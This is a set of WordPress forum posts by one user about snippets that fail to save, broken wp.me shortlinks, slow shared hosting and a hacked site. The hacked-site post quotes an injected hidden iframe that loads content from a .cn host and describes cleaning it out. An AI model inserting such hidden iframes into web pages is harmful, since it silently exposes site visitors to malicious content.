I’m going to sleep now but will check out the database tomorrow. Where are the snippets stored?

I haven’t noticed a pattern to whether or not a save is successful. I changed one long snippet to a simple echo snippet and it saved just fine. Then I tried changing the text of the echo statement (from ‘test’ to ‘dfdfd’) and that wouldn’t save.

Thanks for your help.

It is very strange. For some of my snippets I had to create and save a new snippet, for others I was able to save it once, but then subsequent saves didn’t work. I haven’t dug into your code to see what sort of validation occurs but updated=1 in the query string so it seems to be passing whatever tests it is undergoing.

Any ideas on where to start looking would be appreciated.

Update (not solved): it appears the bigger problem is that none of my changes are being saved. On the latest round of wordpress updates all of my code snippet carriage returns were turned into “rn” (no other posts were affected). When I try and correct this and click save it is just not saving the changes and then returning the old version.

I turned off my cacheing plugin (w3 total) and that had no effect. Any ideas?

Andy, options are set correctly. URL is piphut DOT com.

I commented out the shortlink URL code in the php (my server name has the word ‘berlin’ in it, FYI). Still unsure how it would have gotten that as the domain, unless it pulled it from somewhere in my database.

If you change it on your end it shouldn’t screw up anything on my site should it?

Thanks,

Mark

I’d really like to know how to disable this too but for a different reason: it doesn’t work properly. The Wp.me service returns the internal host name of my server (and not the public domain). So for example my html folder on my server might internally be at server.net/~mydomain/ but my domain is just mydomain.com.

I’m not even sure where it is getting my server name from as I never entered it anywhere in WP that I can think of.

I’ve been with GD for 8 years now and I’m thinking of switching. For registering domain names, and if you have a site with little to no visits they seem to be great (and cheap).

But as my blog continues to get more and more visitors (at about 40k pageviews per month) the pages load slower and slower. I’ve done all the tips (installed supercache, optimized database tables, removed plugins I wasn’t using, etc.) and only got minimal speed increases. I’m hesitant to even call their support because it sounds like they will just tell me “it’s wordpress” and I will have wasted 20 minutes of my time. I know there are plenty of wordpress blogs out there much more complicated than mine that run a lot faster.

Does anyone have any recommendations for good hosting providers?

Here’s a sample of some of the code it inserted into my PHP code:

<iframe src="https://mediahousenamemartmovie.cn:8080/ts/in.cgi?pepsi27" style="visibility: hidden; top:-9875px;position:absolute;"></iframe>

I’m guessing that “pepsi27” is the affiliate code of whoever is doing this. If anyone could track down who that is charges could be pressed…

UPDATE: Ok, site was definitely hacked. I went into the above referenced PHP files and removed hidden code for iframes to some tshirt site ending in .cn. There were actually quite a few more files as well that I had to modify to get the site up and running. I immediately upgraded to 2.7.1 once I was back in dashboard and changed my password. Anyone know where I should check for backdoors they might have left in my site?

Steve,

Some more info here would be great. First off, is it a wordpress site, or just some random site? If it is not a wordpress site you are asking the wrong crowd. If it is, are any error codes generated, or what specifically is not showing up?

If you could provide a link to your live site with more information on what we are looking at that would help.

Thx,

Mark
